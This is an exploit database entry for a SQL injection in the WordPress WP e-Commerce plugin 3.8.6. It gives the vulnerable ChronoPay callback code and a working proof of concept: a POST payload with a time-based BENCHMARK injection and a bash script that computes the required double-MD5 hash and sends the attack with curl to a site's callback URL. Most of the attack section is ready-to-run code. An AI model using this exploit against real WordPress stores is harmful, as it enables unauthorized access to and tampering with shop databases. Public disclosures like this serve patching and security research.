Exploit WordPress Plugin E-Commerce 3.8.6 - SQL Injection

[Exploiter]

EDB-ID

17832

Проверка EDB

1. Пройдено

Автор

MIROSLAV STAMPAR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2011-09-14

# Exploit Title: WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
# Date: 2011-09-13
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip
# Version: 3.8.6 (tested)
# Note: parameter $_POST["cs3"] == md5(md5(urldecode($_POST["cs1"])))
#       it has a "chronopay_salt" option but it's set to '' by default (see more description down below)

---------------
PoC (POST data)
---------------
http://www.site.com/?chronopay_callback=true
 cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill

e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true

---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:

    class WP_eCommerce {

        function WP_eCommerce() {
            add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
        }

        function init() {
            ...
            $this->load();
            ...
        }
        function load() {
            ...
            wpsc_core_load_gateways();
            ...
        }
    ...
    $wpec = new WP_eCommerce();


./wp-e-commerce/wpsc-core/wpsc-functions.php:

    function wpsc_core_load_gateways() {
        global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;

        $gateway_directory      = WPSC_FILE_PATH . '/wpsc-merchants';
        $nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );

        $num = 0;
        foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
            if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
                require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
            }


./wp-e-commerce/wpsc-merchants/chronopay.php:

    function nzshpcrt_chronopay_callback()
    {
        ...
        if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
        {
            $salt = get_option('chronopay_salt'); 
            // - this is by default '' and set only if explicitly stated 
            //   inside Store Settings->Payments->General Settings->
            //   Chronopay->Edit->Security Key
            // - problem is that there are more popular payment gateways enlisted (e.g. 
            //   Google Checkout and PayPal) and if that setting is not explicitly set 
            //   it wide opens the door to the potential attacker

            $gen_hash = md5($salt . md5($_POST['cs1'] . $salt));    
            
            if($gen_hash == $_POST['cs3'])
            {
                ...
                $sessionid = trim(stripslashes($_POST['cs1']));
                $transaction_id = trim(stripslashes($_POST['transaction_id']));
                $verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
                $verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));

                switch($verification_data['trans_type'])
                {
                    ...
                    case 'rebill':
                        $wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET 
                                            `processed` = '2', 
                                            `transactid` = '".$transaction_id."', 
                                            `date` = '".time()."'
                                        WHERE `sessionid` = ".$sessionid." LIMIT 1");
    ...
    add_action('init', 'nzshpcrt_chronopay_callback');